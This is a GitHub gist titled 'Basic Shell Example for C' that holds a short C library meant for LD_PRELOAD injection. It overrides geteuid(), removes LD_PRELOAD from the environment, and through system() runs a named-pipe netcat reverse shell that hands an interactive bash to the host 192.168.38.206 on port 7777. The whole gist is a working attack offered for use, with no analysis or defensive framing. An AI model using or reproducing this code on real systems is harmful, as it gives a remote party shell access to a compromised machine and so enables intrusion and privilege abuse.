Skip to content

Instantly share code, notes, and snippets.

@subfission
Created May 11, 2020 23:39
Show Gist options
  • Save subfission/f5bcb2bdd9a2ca8365631ea982a0ff2d to your computer and use it in GitHub Desktop.
Save subfission/f5bcb2bdd9a2ca8365631ea982a0ff2d to your computer and use it in GitHub Desktop.
Basic Shell Example for C
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.38.206 7777 >/tmp/f");
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment